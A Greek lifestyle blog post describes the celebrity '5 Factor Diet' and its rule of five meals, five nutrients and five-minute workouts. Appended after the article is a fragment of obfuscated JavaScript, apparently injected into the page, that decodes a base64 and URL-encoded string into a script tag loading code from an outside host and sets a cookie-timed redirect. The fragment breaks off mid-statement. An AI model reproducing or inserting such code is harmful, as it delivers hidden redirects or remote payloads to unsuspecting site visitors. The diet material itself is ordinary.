5 Factor Diet – Η δίαιτα των celebrities

Όταν έχεις θέληση και κίνητρο όλα τα καταφέρνεις! Έτσι κάνουν και οι διάσημες μαμάδες ή μη, που τις βλέπουμε στην τηλεόραση και τις θαυμάζουμε για την καλή σιλουέτα και τη sexy εμφάνισή τους.

Η Julia Roberts, η Jessica Simpson,  η Eva Mendes και άλλες με τα αδύνατα και καλλίγραμμα σώματα τους  είναι ένα πολύ καλό παράδειγμα προς μίμηση. H δίαιτα «5 Factor Diet» είναι εμπνευσμένη από τον προσωπικό εκπαιδευτή των stars, Harley Pasternak και έχει πάρει το όνομα της από το ομώνυμο του βιβλίο. Φυσικά, όπως κάθε δίαιτα, έχει φανατικούς υποστηρικτές αλλά και πολλούς που δεν πιστεύουν σε αυτή, το μόνο σίγουρο είναι ότι συμπέρασμα θα βγάλουμε αφού τη δοκιμάσουμε!

Ο αριθμός 5 είναι όπως θα έχετε καταλάβει αρκετά σημαντικός και ενδεικτικός, αφού  θα πρέπει να τρώμε 5 γεύματα την ημέρα και κάθε γεύμα  θα πρέπει να περιέχει 5 βασικά διατροφικά στοιχεία: πρωτεΐνη (κρέας, ψάρι), υδατάνθρακες και φυτικές ίνες (φρούτα, δημητριακά), υγιή λίπη και πολύ νερό.

Επιπλέον:

• οι συνταγές μας θα πρέπει να αποτελούνται το πολύ από 5 υλικά ή για κάθε γεύμα θα πρέπει να μας πάρει 5 λεπτά να το ετοιμάσουμε και άλλα 5 για να το μαγειρέψουμε
• 5 μέρες την εβδομάδα θα πρέπει να γυμναζόμαστε, κάνοντας 5 ασκήσεις των 5 λεπτών. Οι ασκήσεις αυτές θα πρέπει να ειναι συνδυασμός αερόβιας άσκησης και ασκήσεων ενδυνάμωσης
• 1 μέρα της εβδομάδας θα έχουμε ΡΕΠΟ,  δηλαδή ελευθερία να φάμε ότι θέλουμε και να μην γυμναστούμε (εκτός και αν θέλουμε)

Η αλήθεια είναι ότι δεν φαίνεται και δύσκολο, ειδικά το 10 λεπτο μαγείρεμα… !!

Όσο για τις ασκήσεις, θα βρείτε πολλές στο διαδίκτυο χωρίς να χρειάζεται ειδικός εξοπλισμός. Μπορείτε για παράδειγμα να ξεκινάτε με επιτόπιο τρέξιμο (ή αν έχετε ποδήλατο ή διάδρομο), να συνεχίζετε με ασκήσεις για τα χέρια και τα πόδια, να κάνετε κοιλιακούς και ραχιαίους και στη συνέχεια να κάνετε χαλάρωμα με ανοίγματα. Αν θέλετε κάθε φορά να εστιάζετε σε ένα σημείο μπορείτε να επιλέξετε την μια μέρα να δουλέψετε τα χέρια και τον άνω κορμό, την επόμενη τα πόδια και στους γλουτούς κτλ.

Καλή επιτυχία και περιμένουμε τις εντυπώσεις σας!!!

πηγή:  http://www.webmd.com/diet/features/the-5-factor-diet-can-it-work-for-you

 
+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘